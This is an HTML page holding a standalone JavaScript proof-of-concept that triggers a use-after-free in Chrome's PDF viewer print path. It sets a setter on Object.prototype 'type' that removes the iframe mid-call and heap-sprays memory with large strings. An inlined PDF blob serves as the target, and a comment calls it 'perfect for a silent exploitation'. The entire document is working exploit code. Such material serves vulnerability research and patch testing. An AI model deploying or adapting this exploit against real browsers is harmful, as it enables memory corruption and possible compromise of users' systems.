<body>
<script>
    
    function bulid_string(length) {
        var string='';
        
        for (var index=0;index<length;++index)
            string+='A';
        
        return string;
    }
    
    function spray() {
        var list=new Array(1024);
        
        for (var index=0;index<1024;++index)
            list[index]=bulid_string(1024*1024);
        
    }
    
function testit(iframe) {
    Object.defineProperty(iframe.contentWindow.Object.prototype, 'type', {
        set(v) {
            console.log('Intercepted "type" key defined in ChromePrintWebViewHelperDelegate::OverridePrint, set by MimeHandlerViewContainer::PostMessageFromValue');
            // Destroy MimeHandlerViewContainer instance.
            iframe.remove();
            // By ignoring the type setter, the print dialog is not activated.
            // Perfect for a silent exploitation!
            
            // After we return, MimeHandlerViewContainer::PostMessage is called on freed memory.
        },
        get() {},
    });

    spray();
    
    iframe.contentWindow.print();
}

// Now load a PDF file.
// The following is equivalent to <iframe src="file.pdf" onload="testit(this)"></iframe>
// except I have inlined the PDF data for a stand-alone proof-of-concept.
var f = document.createElement('iframe');
f.onload = function() {
    testit(this);
};
f.src = URL.createObjectURL(new Blob([
`%PDF-1.1
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Count 1/Kids[3 0 R]/MediaBox [0 0 1 1]>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R/Resources<<>>>>
endobj
xref
0 4
0000000000 65535 f 
0000000009 00000 n 
0000000054 00000 n 
0000000124 00000 n 
trailer
<</Root 1 0 R/Size 4>>
startxref
181
%%EOF`
], {
    type: 'application/pdf'
}));
document.body.appendChild(f);
</script>
